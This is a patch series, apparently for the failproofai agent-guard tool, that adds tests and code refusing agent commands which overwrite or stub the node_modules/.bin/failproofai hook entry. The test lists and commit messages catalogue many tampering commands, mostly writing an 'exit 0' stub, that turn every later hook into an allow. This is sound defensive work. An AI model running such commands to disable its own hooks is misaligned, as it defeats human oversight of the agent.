+ it.each([ + ["a redirect", "printf '#!/bin/sh\\nexit 0\\n' > node_modules/.bin/failproofai"], + ["an append", "echo 'exit 0' >> ./node_modules/.bin/failproofai"], + ["a copy", "cp /tmp/stub.sh node_modules/.bin/failproofai"], + ["a move", "mv /tmp/stub.sh node_modules/.bin/failproofai"], + ["a link", "ln -sf /tmp/stub.sh node_modules/.bin/failproofai"], + ["tee", "tee node_modules/.bin/failproofai < /tmp/stub.sh"], + ["install", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai"], + ["making a stub executable", "chmod +x node_modules/.bin/failproofai"], + ["an in-place sed", "sed -i 's/exec/exit 0 #/' node_modules/.bin/failproofai"], + ["an interpreter writing it", `python3 -c "open('node_modules/.bin/failproofai','w').write('exit 0')"`], + ["a parent directory's entry", "cp /tmp/stub.sh ../node_modules/.bin/failproofai"], + ["the home directory's entry", "cp /tmp/stub.sh ~/node_modules/.bin/failproofai"], + ["the entry named from inside node_modules", "cd node_modules && cp /tmp/stub.sh .bin/failproofai"], + ["the Windows shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.cmd"], + ["a variable holding the entry", "B=node_modules/.bin/failproofai; cp /tmp/stub.sh $B"], + ["a glob onto the entry", "cp /tmp/stub.sh node_modules/.bin/fail*"], + ["a quoted spelling", `cp /tmp/stub.sh node_modules/.bin/fail"proof"ai`], + // The path is on the line only in pieces: a file named `failproofai` + // copied, moved or linked INTO the directory npx searches. + ["a copy into the .bin directory", "cp /tmp/stage/failproofai node_modules/.bin/"], + ["a copy into the .bin directory, no trailing slash", "cp /tmp/stage/failproofai node_modules/.bin"], + ["a move into the .bin directory", "mv ./failproofai node_modules/.bin/"], + ["a link into the .bin directory", "ln -s /tmp/stage/failproofai node_modules/.bin"], + ["a copy with -t", "cp -t node_modules/.bin /tmp/stage/failproofai"], + ["a copy with --target-directory=", "cp --target-directory=node_modules/.bin /tmp/stage/failproofai"], + ["install -D into the directory", "install -D -m 755 /tmp/stage/failproofai node_modules/.bin/"], + ["rsync into the directory", "rsync -a /tmp/stage/failproofai node_modules/.bin/"], + ["a copy among other files", "cp /tmp/a.sh /tmp/stage/failproofai /tmp/b.sh node_modules/.bin/"], + ["a copy after --", "cp -- /tmp/stage/failproofai node_modules/.bin/"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The same rule reaches the paths #1050 protects: moving a package + // directory named `failproofai` into a global `node_modules` replaces it. + it("denies moving a directory named failproofai into a node_modules", async () => { + expect(await bash("mv /tmp/build/failproofai /home/u/.nvm/versions/node/v22.11.0/lib/node_modules/")).toBe("deny"); + }); + + it.each([ + ["running another package's binary", "./node_modules/.bin/vitest run"], + ["running a binary through node", "node node_modules/.bin/eslint src"], + ["running a binary by its relative path", "node_modules/.bin/tsc --noEmit -p ."], + ["listing the directory", "ls -la node_modules/.bin"], + ["looking at the entry", "ls -l node_modules/.bin/failproofai"], + ["reading the entry", "cat node_modules/.bin/failproofai"], + ["resolving the entry", "readlink -f node_modules/.bin/failproofai"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every entry", "rm -rf node_modules/.bin/*"], + ["installing dependencies", "npm install"], + ["adding a dev dependency", "npm i -D vitest"], + ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], + ["copying an entry out", "cp node_modules/.bin/failproofai /tmp/inspect"], + ["copying a whole build directory", "cp -r dist/ node_modules/.bin/"], + ["moving a source file", "mv src/failproofai.ts src/guard.ts"], + ["backing a directory up", "cp -r node_modules/.bin /tmp/bin-backup"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + }); + + // The guard protects the entry by NAME, so it has to be the name every + // project-scope hook hands npx. If an integration ever installs a different + // package or bin name, this fails instead of the guard silently protecting a + // file no hook runs. + it("protects the name every project-scope npx hook command runs", async () => { + const names = new Set(); + let shellIntegrations = 0; + for (const integration of listIntegrations()) { + if (!integration.scopes.includes("project")) continue; + let found = false; + for (const eventType of integration.eventTypes) { + const entry = JSON.stringify(integration.buildHookEntry("/opt/fp/bin/failproofai", eventType, "project")); + for (const [, name] of entry.matchAll(/npx -y (\S+)/g)) { + names.add(name); + found = true; + } + } + if (found) shellIntegrations++; + } + // OpenCode's entry is a plugin path; the npx call is inside the shim that + // install writes next to it. + const dir = mkdtempSync(join(tmpdir(), "fpai-npx-guard-opencode-")); + const cwd = vi.spyOn(process, "cwd").mockReturnValue(dir); + try { + listIntegrations() + .find((integration) => integration.id === "opencode")! + .writeHookEntries({}, "/opt/fp/bin/failproofai", "project"); + const shim = readFileSync(join(dir, ".opencode", "plugins", "failproofai.mjs"), "utf8"); + const spawned = [...shim.matchAll(/\["-y", "([^"]+)"/g)].map(([, name]) => name); + expect(spawned.length).toBeGreaterThan(0); + for (const name of spawned) names.add(name); + } finally { + cwd.mockRestore(); + rmSync(dir, { recursive: true, force: true }); + } + // Claude, Codex, Copilot, Cursor, Factory, Devin, Antigravity and Goose. + expect(shellIntegrations).toBeGreaterThanOrEqual(8); + expect([...names]).toEqual(["failproofai"]); + for (const name of names) { + expect((await write(`/work/proj/node_modules/.bin/${name}`)).decision).toBe("deny"); + expect(await bash(`cp /tmp/stub.sh node_modules/.bin/${name}`)).toBe("deny"); + } + }); +}); From b6f5272379a92b4f57326c8feec36907b0b28b2d Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:17:41 +0530 Subject: [PATCH 30/60] [hooks] Guard node_modules/.bin/failproofai, the entry project-scope npx hooks run (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Project-scope hooks are `npx -y failproofai --hook …`, and npx runs a node_modules/.bin/failproofai it finds in the project or any directory above it before the global install or its cache, without checking it. One agent Write of an `exit 0` stub there turned every later hook in that tree into an allow, in every later session. - FAILPROOFAI_CODE_PATH_RE (from #1050) also matches `.bin/failproofai` and the Windows shims npm and bun write beside it, so the file tools (through links too), the shell walk, variable tracking and globs all see it. - The shell walk also judges the name a source lands under when it is copied, moved or linked INTO a directory (`cp /tmp/x/failproofai node_modules/.bin/`, `-t`, `--target-directory=`), unless the source is itself protected (a backup). - Docs: local-configuration says what a project-scope hook trusts and that user-scope hooks run the installed CLI by absolute path. Co-Authored-By: Claude Opus 5.5 --- docs/policies/local-configuration.mdx | 2 + src/hooks/builtin-policies.ts | 85 ++++++++++++++++++++++++++- 2 files changed, 85 insertions(+), 2 deletions(-) diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 46fcbace5..4fd54d444 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,6 +22,8 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project itself provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`, and it applies the project's `.npmrc`. `block-failproofai-commands` refuses an agent's writes to `node_modules/.bin/failproofai`, but it does not read `package.json` or `.npmrc` edits. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so nothing in a repository changes what they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. + Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. | Scope | Policy configuration file | diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 717bd18c7..ac38daf46 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -498,11 +498,17 @@ function pathComponent(name: string): string { * tampered client never asks it. The state pattern below needs a `.` the * package path does not have (FailproofAI/agenteye#1796). * + * Project-scope hooks are portable instead: `npx -y failproofai --hook …`, so + * the committed file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. So one Write of `exit 0` to that path turned every later hook in + * that tree into an allow, and kept doing it in every later session + * (FailproofAI/agenteye#1795). That entry is matched below too. + * * A checkout of this repository matches none of the shapes below — no * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard * does not stand in front of working on failproofai itself. - * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here - * either (FailproofAI/agenteye#1795). * * Case-insensitive because macOS volumes are by default: every casing of these * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path @@ -529,6 +535,15 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // the variables nvm and pnpm export for those directories. A FILE, so a // directory of that name (`~/bin/failproofai/src/…`) is not it. String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + // The entry `npx -y failproofai` runs first: `.bin/failproofai` in a + // `node_modules` of the project or of any directory above it (and in the + // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) + // write beside it on Windows. Not anchored on `node_modules`, so the + // relative `.bin/failproofai` a command run from inside `node_modules` + // names is the same file. A FILE, like the entry above: the rest of + // `node_modules/.bin` (every other package's binary, run by path all the + // time) stays out of it. + String.raw`\.bin[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, ].join("|"), "i", ); @@ -705,6 +720,17 @@ const LOOP_HEADER_RE = /(?:^|[\s(])(?:while|until|for|select)\s/; */ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); +/** + * Commands that put a file into a directory under the file's OWN name. + * + * `cp /tmp/stage/failproofai node_modules/.bin/` writes + * `node_modules/.bin/failproofai`, and that path appears nowhere on the line: + * the source names a scratch file and the destination names a directory that + * holds every package's binary. So the name a source would land under is + * judged as well as the operands as written (FailproofAI/agenteye#1795). + */ +const INTO_DIRECTORY_COMMANDS = new Set(["cp", "mv", "ln", "install", "rsync"]); + /** * Commands that write EVERY path operand they are given. * @@ -881,6 +907,10 @@ const STATE_GLOB_CANDIDATES = [ "/opt/homebrew/bin/failproofai", "~/.bun/bin/failproofai", "~/.volta/bin/failproofai", + // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795). + "node_modules/.bin/failproofai", + "./node_modules/.bin/failproofai", + ".bin/failproofai", ]; /** @@ -906,6 +936,9 @@ const GLOB_DECOYS = [ "node_modules/@types/node", "./node_modules/@types/node", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", + // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the + // sweep it is rather than an aim at failproofai's. + "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", ]; /** @@ -1336,6 +1369,50 @@ function commandWords(simpleCommand: string): string[] { return tokens.slice(i); } +/** + * True when a copy, move or link would leave one of its sources at a protected + * path inside the directory it writes into (see `INTO_DIRECTORY_COMMANDS`). + * + * The directory is `-t` / `--target-directory`'s value, or else the last + * operand. Whether that operand really is a directory is not checked: when it + * is a file, `/` is a path nothing writes, and it can only match + * when a source is itself named like a protected file and the operand like the + * directory that holds it. A source that is ALREADY a protected path is left to + * the destination check it always had: `cp -r ~/.failproofai /tmp/backup/` + * lands at `/tmp/backup/.failproofai`, a name the state pattern matches, and is + * a backup, not a write onto anything. `rsync src/` copies what is IN `src`, + * whose names are not on the line, so a source with a trailing separator is + * judged by nothing here, as a whole directory moved over a parent never was. + */ +function landsInDirectoryAs(words: string[], namesState: (text: string) => boolean): boolean { + if (words.length === 0 || !INTO_DIRECTORY_COMMANDS.has(commandBasename(words[0]))) return false; + const args = words.slice(1); + const operands: string[] = []; + let directory: string | undefined; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg === "-t" || arg === "--target-directory") { + directory = args[++i]; + } else if (arg.startsWith("--target-directory=")) { + directory = arg.slice("--target-directory=".length); + } else if (!arg.startsWith("-")) { + operands.push(arg); + } + } + const sources = directory === undefined ? operands.slice(0, -1) : operands; + const into = (directory ?? operands[operands.length - 1] ?? "").replace(/[\\/]+$/, ""); + if (into === "") return false; + return sources.some((source) => { + if (/[\\/]$/.test(source) || namesState(source)) return false; + const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); + return name !== "" && name !== "." && name !== ".." && namesState(`${into}/${name}`); + }); +} + /** * True when this one simple command would destroy whatever it is pointed at. * @@ -1568,6 +1645,10 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // the rest of the line was judged as if it stood in the state directory. cwdInState = false; cdParenDepth = null; + } else if (landsInDirectoryAs(words, namesState)) { + // Before the `reachesState` gate, because the point is that nothing on + // the line names the path: the source's name and the directory do. + return true; } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. From 525acaf6249dbe5ee767ee33e9fc5d0645b45d60 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:43:53 +0530 Subject: [PATCH 31/60] [hooks] Address review: redirects, -t spellings, cd, globs and .bin swaps (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Independent review found ways past the first commit; each is reproduced in the test file, which now fails 77 of its 78 deny cases on #1050's head and passes all 111 cases here. - commandWords drops redirects and stops at a comment after the command word. The copy checks took the last word for the destination, so `… 2>/dev/null` or `… # x` walked through, for the state as well (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`). - landsInDirectoryAs reads each command's options: every spelling of -t (`-tDIR`, `-vt`, `--target`), option values are not sources (`install -o failproofai`), `install -d` copies nothing, and rsync's -t is --times. A protected-looking source still counts when it lands on installed code (`cp /tmp/bin/failproofai node_modules/.bin/`). A directory moved, linked or copied recursively onto a node_modules/.bin is refused. - The walk follows cd/pushd/popd and subshells, so a relative word after `cd node_modules/.bin` is judged where it resolves. - Globs are tried against every stretch of a path, not only its prefixes: `/work/proj/node_modules/.bin/fail*` and `/home/alice/.failproof*` named nothing before. - The .bin pattern starts a path component (`firmware.bin/failproofai` is not it). Docs no longer overstate what the guard catches. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 106 +++++++++- docs/policies/local-configuration.mdx | 2 +- src/hooks/builtin-policies.ts | 222 ++++++++++++++++---- 3 files changed, 285 insertions(+), 45 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index d844fa6d5..69a2c276a 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -141,6 +141,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a name npx never runs for `failproofai`", "/work/proj/node_modules/.bin/failproofai.sh"], ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], + ["a file under a directory whose name ends in .bin", "/data/firmware.bin/failproofai"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -187,6 +188,84 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash("mv /tmp/build/failproofai /home/u/.nvm/versions/node/v22.11.0/lib/node_modules/")).toBe("deny"); }); + // Every GNU spelling of the target directory, which puts the sources AFTER + // it. rsync has no such option: its `-t` is `--times`, and its last operand + // is still the destination. + it.each([ + ["-t glued to its value", "cp -tnode_modules/.bin /tmp/stage/failproofai"], + ["-t at the end of a cluster", "cp -vt node_modules/.bin /tmp/stage/failproofai"], + ["-t inside install's cluster", "install -Dt node_modules/.bin /tmp/stage/failproofai"], + ["-t on ln", "ln -st node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target=", "cp --target=node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target with its value apart", "cp --target node_modules/.bin /tmp/stage/failproofai"], + ["rsync's -t, which is --times", "rsync -t /tmp/stage/failproofai node_modules/.bin/"], + ])("denies a copy into the .bin directory with %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A redirect or a comment after the destination was read as the + // destination, so every copy check judged `2>/dev/null` or `x`. That let + // the state through too, before this file existed. + it.each([ + ["a stderr redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai 2>/dev/null"], + ["a stdout redirect", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai > /dev/null"], + ["2>&1", "rsync /tmp/stub.sh node_modules/.bin/failproofai 2>&1"], + ["an input redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai < /dev/null"], + ["a comment", "cp /tmp/stub.sh node_modules/.bin/failproofai # keep"], + ["a redirect after a copy into the directory", "cp /tmp/stage/failproofai node_modules/.bin/ 2>/dev/null"], + ["a redirect after a link into the directory", "ln -sf /tmp/stage/failproofai node_modules/.bin 2>/dev/null"], + ["the state, emptied the same way", "cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null"], + ])("denies a write followed by %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A source that names a protected path is a copy OUT, except when it lands + // on installed code: a link spelled `…/bin/failproofai` is still a stub. + it("denies a protected-looking source when it lands on the entry", async () => { + expect(await bash("cp /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + expect(await bash("rsync /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + }); + + // A protected FILE sits in a directory nothing protects, so the walk has + // to read a relative word from where a `cd` left the shell. + it.each([ + ["a redirect after cd", "cd node_modules/.bin && printf 'exit 0' > failproofai"], + ["a copy after cd", "cd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["a copy after pushd", "pushd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["chmod after cd", "cd node_modules/.bin && chmod +x failproofai"], + ["two relative cds", "cd node_modules && cd .bin && cp /tmp/stub.sh failproofai"], + ["a cd outside a subshell that ran its own", "cd node_modules/.bin && (cd /tmp && ls) && cp /tmp/stub.sh failproofai"], + ["a copy of a file named failproofai into the directory", "cd node_modules/.bin && cp /tmp/stage/failproofai ."], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A glob replaces the entry wherever it already exists, whatever path + // leads to it, so the candidates are tried against every stretch of it. + it.each([ + ["a parent directory", "cp /tmp/stub.sh ../node_modules/.bin/fail*"], + ["home", "cp /tmp/stub.sh ~/node_modules/.bin/fail*"], + ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], + // `/home/u/.failproofai` is a candidate itself; another home is not. + ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], + ])("denies a glob onto the entry through %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // npm's bin directory itself: whatever a directory moved, linked or copied + // onto it holds becomes an entry, and npx searches every parent's. + it.each([ + ["a link over home's", "ln -s /tmp/stage ~/node_modules/.bin"], + ["a move", "mv /tmp/stage node_modules/.bin"], + ["a recursive copy", "cp -r /tmp/stage/ node_modules/.bin/"], + ["a copy onto it with -T", "cp -rT /tmp/stage node_modules/.bin"], + ["a copy of a directory's contents", "cp -a /tmp/stage/. node_modules/.bin/"], + ["rsync of a directory's contents", "rsync -a /tmp/stage/ node_modules/.bin/"], + ["a build directory, which becomes the directory when it is missing", "cp -r dist/ node_modules/.bin/"], + ])("denies %s onto node_modules/.bin", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -201,9 +280,21 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["adding a dev dependency", "npm i -D vitest"], ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], ["copying an entry out", "cp node_modules/.bin/failproofai /tmp/inspect"], - ["copying a whole build directory", "cp -r dist/ node_modules/.bin/"], + ["copying an entry out into a directory", "cp node_modules/.bin/failproofai /tmp/inspect/"], ["moving a source file", "mv src/failproofai.ts src/guard.ts"], ["backing a directory up", "cp -r node_modules/.bin /tmp/bin-backup"], + ["backing the state up into a directory", "cp -r ~/.failproofai /tmp/backup/"], + ["backing the state up with a redirect", "cp ~/.failproofai/config.json /tmp/backup.json 2>/dev/null"], + ["reading the state with a redirect", "cat ~/.failproofai/config.json 2>/dev/null"], + // A value is not a source. + ["installing a binary owned by a user of that name", "install -o failproofai -g failproofai -m 0755 build/agentd /usr/local/bin/"], + ["creating directories owned by a user of that name", "install -d -o failproofai /srv/app/bin"], + // `.bin` starts a path component, or it is another name. + ["copying a file onto one whose name ends in .bin", "cp failproofai release.bin"], + ["running a binary after a cd", "cd node_modules/.bin && ./vitest run"], + ["a cd that a subshell undoes", "(cd node_modules/.bin && ls) && cp /tmp/stub.sh failproofai"], + ["copying a tool after a cd", "cd node_modules/.bin && cp /tmp/stage/my-tool ."], + ["clearing a tree's .bin directories", "rm -rf ~/projects/*/node_modules/.bin/*"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); @@ -215,7 +306,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // file no hook runs. it("protects the name every project-scope npx hook command runs", async () => { const names = new Set(); - let shellIntegrations = 0; + const viaNpx: string[] = []; + const otherwise: string[] = []; for (const integration of listIntegrations()) { if (!integration.scopes.includes("project")) continue; let found = false; @@ -226,8 +318,14 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs found = true; } } - if (found) shellIntegrations++; + (found ? viaNpx : otherwise).push(integration.id); } + // A new integration, or a new launcher (`npx --yes`, `bunx`), lands in one + // of these lists and fails here until the guard is checked against it. + expect(viaNpx.sort()).toEqual(["antigravity", "claude", "codex", "copilot", "cursor", "devin", "factory", "goose"]); + // OpenCode runs npx from the shim checked below; Pi loads the extension by + // a package path, which runs the CLI next to it, not through npx. + expect(otherwise.sort()).toEqual(["opencode", "pi"]); // OpenCode's entry is a plugin path; the npx call is inside the shim that // install writes next to it. const dir = mkdtempSync(join(tmpdir(), "fpai-npx-guard-opencode-")); @@ -244,8 +342,6 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs cwd.mockRestore(); rmSync(dir, { recursive: true, force: true }); } - // Claude, Codex, Copilot, Cursor, Factory, Devin, Antigravity and Goose. - expect(shellIntegrations).toBeGreaterThanOrEqual(8); expect([...names]).toEqual(["failproofai"]); for (const name of names) { expect((await write(`/work/proj/node_modules/.bin/${name}`)).decision).toBe("deny"); diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 4fd54d444..3f4f9e4ed 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,7 +22,7 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. -Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project itself provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`, and it applies the project's `.npmrc`. `block-failproofai-commands` refuses an agent's writes to `node_modules/.bin/failproofai`, but it does not read `package.json` or `.npmrc` edits. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so nothing in a repository changes what they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index ac38daf46..f0379b987 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -540,10 +540,11 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) // write beside it on Windows. Not anchored on `node_modules`, so the // relative `.bin/failproofai` a command run from inside `node_modules` - // names is the same file. A FILE, like the entry above: the rest of - // `node_modules/.bin` (every other package's binary, run by path all the - // time) stays out of it. - String.raw`\.bin[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, + // names is the same file; anchored on the start of a path component, so + // `firmware.bin/failproofai` is not it. A FILE, like the entry above: the + // rest of `node_modules/.bin` (every other package's binary, run by path + // all the time) stays out of it. + String.raw`(? = { + cp: { short: "St", long: ["suffix", "target-directory", "sparse", "no-preserve"] }, + mv: { short: "St", long: ["suffix", "target-directory"] }, + ln: { short: "St", long: ["suffix", "target-directory"] }, + install: { short: "mogSt", long: ["mode", "owner", "group", "suffix", "target-directory", "strip-program"] }, + rsync: { + short: "efTBM", + long: [ + "rsh", "filter", "exclude", "include", "exclude-from", "include-from", "files-from", "temp-dir", + "partial-dir", "backup-dir", "suffix", "compare-dest", "copy-dest", "link-dest", "chmod", "chown", + "usermap", "groupmap", "block-size", "max-size", "min-size", "timeout", "contimeout", "port", + "log-file", "out-format", "remote-option", "bwlimit", "rsync-path", "password-file", "info", "debug", + ], + }, +}; + +/** + * npm's bin directory: `node_modules/.bin`, or `.bin` alone once a `cd` put the + * shell in `node_modules`. A directory moved, linked or copied recursively ONTO + * it brings entries the line never names: `ln -s /tmp/stage ~/node_modules/.bin` + * hands every project under `~` without its own entry a `failproofai` from + * `/tmp/stage`, because npx searches each parent's `.bin` (#1795). */ -const INTO_DIRECTORY_COMMANDS = new Set(["cp", "mv", "ln", "install", "rsync"]); +const NPM_BIN_DIRECTORY_RE = /(?:^|[\\/])\.bin$/i; /** * Commands that write EVERY path operand they are given. @@ -913,6 +941,9 @@ const STATE_GLOB_CANDIDATES = [ ".bin/failproofai", ]; +/** How many `/`-separated segments the deepest glob candidate has. */ +const GLOB_CANDIDATE_DEPTH = Math.max(...STATE_GLOB_CANDIDATES.map((candidate) => candidate.split("/").length)); + /** * Ordinary paths a targeted pattern must NOT be able to match. * @@ -1108,6 +1139,17 @@ function wordNamesState(word: string): boolean { for (let end = 1; end <= segments.length; end++) { if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; } + // And every stretch that starts after a `/`, since the candidates are the + // TAILS of the paths they stand for: `/home/u/.failproof*` and + // `/work/proj/node_modules/.bin/fail*` begin with a prefix no candidate + // spells, so as whole words they named nothing (FailproofAI/agenteye#1795). + // A stretch longer than the deepest candidate cannot equal one. + for (let start = 1; start < segments.length; start++) { + const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); + for (let end = start + 1; end <= last; end++) { + if (globPrefixNamesState(segments.slice(start, end).join("/"))) return true; + } + } return false; } @@ -1345,9 +1387,20 @@ function commandBasename(token: string): string { * and return the tokens from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. + * + * After the command word, redirects and a comment are not arguments either. + * They were returned as words, so the copy checks took the LAST one for the + * destination: `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` + * judged `2>/dev/null`, and `… # note` judged `note`, and both walked through. + * A redirect's target is judged by the redirect scan, not here. */ function commandWords(simpleCommand: string): string[] { - const tokens = simpleCommand.trim().split(/\s+/).map(bareToken).filter(Boolean); + const all = simpleCommand + .trim() + .split(/\s+/) + .map((raw) => ({ raw, token: bareToken(raw) })) + .filter(({ token }) => token !== ""); + const tokens = all.map(({ token }) => token); let i = 0; while (i < tokens.length) { const token = tokens[i]; @@ -1366,50 +1419,118 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - return tokens.slice(i); + const words: string[] = []; + for (let j = i; j < all.length; j++) { + // Read as the shell does, unquoted: `">"` and `"#"` are arguments. + const { raw, token } = all[j]; + if (raw.startsWith("#")) break; + if (j > i && /^\d*(?:>{1,2}\|?|<{1,3})/.test(raw)) { + if (/^\d*(?:>{1,2}\|?|<{1,3})$/.test(raw)) j++; + continue; + } + words.push(token); + } + return words; } /** - * True when a copy, move or link would leave one of its sources at a protected - * path inside the directory it writes into (see `INTO_DIRECTORY_COMMANDS`). + * True when a copy, move or link writes a protected path that its words never + * spell (see `INTO_DIRECTORY_OPTIONS`), or puts a directory onto npm's bin + * directory (see `NPM_BIN_DIRECTORY_RE`). * - * The directory is `-t` / `--target-directory`'s value, or else the last - * operand. Whether that operand really is a directory is not checked: when it - * is a file, `/` is a path nothing writes, and it can only match - * when a source is itself named like a protected file and the operand like the - * directory that holds it. A source that is ALREADY a protected path is left to - * the destination check it always had: `cp -r ~/.failproofai /tmp/backup/` - * lands at `/tmp/backup/.failproofai`, a name the state pattern matches, and is - * a backup, not a write onto anything. `rsync src/` copies what is IN `src`, - * whose names are not on the line, so a source with a trailing separator is - * judged by nothing here, as a whole directory moved over a parent never was. + * The destination is `-t`'s value in any spelling (`-t DIR`, `-tDIR`, `-vt DIR`, + * `--target-directory=DIR`, `--target 